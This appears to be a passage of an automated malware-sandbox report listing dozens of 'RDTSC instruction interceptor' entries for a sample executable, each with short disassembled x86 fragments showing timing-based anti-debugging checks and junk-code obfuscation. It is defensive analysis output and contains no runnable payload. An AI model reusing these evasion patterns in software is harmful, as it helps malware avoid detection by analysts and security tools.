Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61ED41 second address: 61ED4E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD080DDA656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61EDF9 second address: 61EDFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61EDFD second address: 61EE01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61EE01 second address: 61EE48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007FD0810EDB0Dh 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 jmp 00007FD0810EDB15h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FD0810EDB0Fh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61EE48 second address: 61EEB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FD080DDA669h 0x0000000f jmp 00007FD080DDA663h 0x00000014 popad 0x00000015 pop eax 0x00000016 and edi, 35234320h 0x0000001c push 00000003h 0x0000001e mov dword ptr [ebp+192A2941h], edx 0x00000024 push 00000000h 0x00000026 call 00007FD080DDA65Bh 0x0000002b add ch, FFFFFFAFh 0x0000002e pop esi 0x0000002f push 00000003h 0x00000031 mov dword ptr [ebp+192A2CAEh], edx 0x00000037 and ecx, 6EF82C42h 0x0000003d push BAD1342Eh 0x00000042 push ebx 0x00000043 push edi 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61EEB6 second address: 61EED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 add dword ptr [esp], 052ECBD2h 0x0000000d mov dx, ax 0x00000010 lea ebx, dword ptr [ebp+19352A6Bh] 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a push eax 0x0000001b pop eax 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61EED3 second address: 61EED9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61EED9 second address: 61EEDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61EEDD second address: 61EEE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61EF39 second address: 61EF52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007FD0810EDB06h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jc 00007FD0810EDB06h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61EF52 second address: 61EF5C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD080DDA656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61EF5C second address: 61EFC4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD0810EDB08h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov ecx, dword ptr [ebp+192A2CAEh] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007FD0810EDB08h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f add ecx, dword ptr [ebp+192A3778h] 0x00000035 mov dh, bh 0x00000037 call 00007FD0810EDB09h 0x0000003c jmp 00007FD0810EDB16h 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 push edx 0x00000046 pop edx 0x00000047 push esi 0x00000048 pop esi 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61EFC4 second address: 61F010 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA668h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jne 00007FD080DDA660h 0x00000013 mov eax, dword ptr [eax] 0x00000015 jmp 00007FD080DDA660h 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 pop eax 0x00000024 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61F010 second address: 61F06B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD0810EDB08h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b jmp 00007FD0810EDB18h 0x00000010 push 00000003h 0x00000012 jng 00007FD0810EDB0Ch 0x00000018 mov dword ptr [ebp+192A1791h], ecx 0x0000001e mov cx, di 0x00000021 push 00000000h 0x00000023 jc 00007FD0810EDB0Ch 0x00000029 sub dword ptr [ebp+192A208Fh], eax 0x0000002f push 00000003h 0x00000031 mov dword ptr [ebp+192A1BA0h], edx 0x00000037 push 58AF0E79h 0x0000003c push eax 0x0000003d push edx 0x0000003e jg 00007FD0810EDB0Ch 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61F06B second address: 61F06F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61F06F second address: 61F0AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 6750F187h 0x00000010 mov esi, 1AB33601h 0x00000015 lea ebx, dword ptr [ebp+19352A76h] 0x0000001b xor dword ptr [ebp+192A189Bh], edi 0x00000021 xchg eax, ebx 0x00000022 push edi 0x00000023 jp 00007FD0810EDB0Ch 0x00000029 pop edi 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61F0AC second address: 61F0B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61F0B0 second address: 61F0BA instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD0810EDB06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 639473 second address: 639479 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 639479 second address: 63947D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6395BF second address: 6395CD instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD080DDA656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 639A09 second address: 639A3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD0810EDB16h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 639BAD second address: 639BB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 639BB1 second address: 639BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 639BB7 second address: 639BC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 63A121 second address: 63A129 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 631A65 second address: 631A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 631A6B second address: 631A6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 631A6F second address: 631AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD080DDA666h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FD080DDA664h 0x00000011 jno 00007FD080DDA656h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 631AA8 second address: 631AAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 631AAD second address: 631AB7 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD080DDA65Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 631AB7 second address: 631ACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 jmp 00007FD0810EDB0Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 631ACE second address: 631AD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 63A638 second address: 63A642 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 63A642 second address: 63A660 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA668h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 63A660 second address: 63A68D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB16h 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007FD0810EDB06h 0x0000000f jmp 00007FD0810EDB0Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 63A68D second address: 63A691 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 63A691 second address: 63A6AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD0810EDB06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007FD0810EDB06h 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 63A6AA second address: 63A6B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 63ABDE second address: 63AC0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB15h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jns 00007FD0810EDB13h 0x00000011 jmp 00007FD0810EDB0Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 63AC0C second address: 63AC12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 63AC12 second address: 63AC16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 63AD6D second address: 63AD71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 63AD71 second address: 63AD75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 63AD75 second address: 63ADAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD080DDA662h 0x0000000e pushad 0x0000000f jnl 00007FD080DDA656h 0x00000015 jmp 00007FD080DDA65Fh 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 63ADAA second address: 63ADAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 63AF59 second address: 63AF5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 63AF5E second address: 63AF64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 64166B second address: 641670 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 641670 second address: 6416A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop ecx 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jg 00007FD0810EDB0Ah 0x0000001a mov eax, dword ptr [eax] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FD0810EDB12h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 645A7D second address: 645A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 645A83 second address: 645A9B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD0810EDB06h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD0810EDB0Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 609A54 second address: 609A61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007FD080DDA65Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 64520A second address: 645225 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 645794 second address: 64579A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 64579A second address: 6457CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FD0810EDB18h 0x0000000c pop ebx 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD0810EDB0Fh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6457CD second address: 6457D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 648DE4 second address: 648DE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6492FC second address: 649301 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 649301 second address: 649320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD0810EDB15h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 649320 second address: 649325 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 649431 second address: 649437 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 649952 second address: 64997A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD080DDA662h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jng 00007FD080DDA65Ch 0x00000012 jns 00007FD080DDA656h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6499E2 second address: 649A06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007FD0810EDB06h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 649A06 second address: 649A6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ebx 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007FD080DDA658h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 jmp 00007FD080DDA65Dh 0x00000029 jmp 00007FD080DDA664h 0x0000002e push eax 0x0000002f je 00007FD080DDA675h 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FD080DDA663h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 649A6B second address: 649A6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 649B1C second address: 649B22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 649B22 second address: 649B45 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD0810EDB14h 0x00000008 jmp 00007FD0810EDB0Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jp 00007FD0810EDB06h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 649B45 second address: 649B49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 649B49 second address: 649B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 649C0A second address: 649C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 649DEB second address: 649DF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 64A55E second address: 64A57E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007FD080DDA656h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 64A57E second address: 64A598 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 64AE33 second address: 64AE37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 64AC9E second address: 64ACA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 64ACA4 second address: 64ACC0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD080DDA661h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 64BF10 second address: 64BF36 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, dword ptr [ebp+192A1EC8h] 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+192A1C75h], edi 0x00000018 push 00000000h 0x0000001a mov esi, dword ptr [ebp+192A39B8h] 0x00000020 xchg eax, ebx 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 push ecx 0x00000025 pop ecx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 64C984 second address: 64C98A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 64DE09 second address: 64DE88 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD0810EDB06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FD0810EDB16h 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007FD0810EDB08h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f jnc 00007FD0810EDB0Ch 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebp 0x0000003a call 00007FD0810EDB08h 0x0000003f pop ebp 0x00000040 mov dword ptr [esp+04h], ebp 0x00000044 add dword ptr [esp+04h], 00000014h 0x0000004c inc ebp 0x0000004d push ebp 0x0000004e ret 0x0000004f pop ebp 0x00000050 ret 0x00000051 mov si, di 0x00000054 xchg eax, ebx 0x00000055 push eax 0x00000056 push edx 0x00000057 push ebx 0x00000058 jc 00007FD0810EDB06h 0x0000005e pop ebx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 652331 second address: 652336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
